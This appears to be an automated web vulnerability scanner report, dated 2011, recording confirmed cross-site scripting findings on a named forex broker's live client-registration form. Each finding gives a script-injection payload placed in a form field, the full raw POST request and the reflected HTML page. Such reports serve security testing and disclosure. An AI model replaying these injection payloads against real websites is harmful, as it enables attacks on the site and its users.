<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST '"--></style></script><script>alert(0x000186)</script>
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 299
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000186)%3c%2fscript%3e&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:55 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST '"--></style></script><script>alert(0x00018A)</script>
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 330
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00018A)%3c%2fscript%3e&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:55 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' 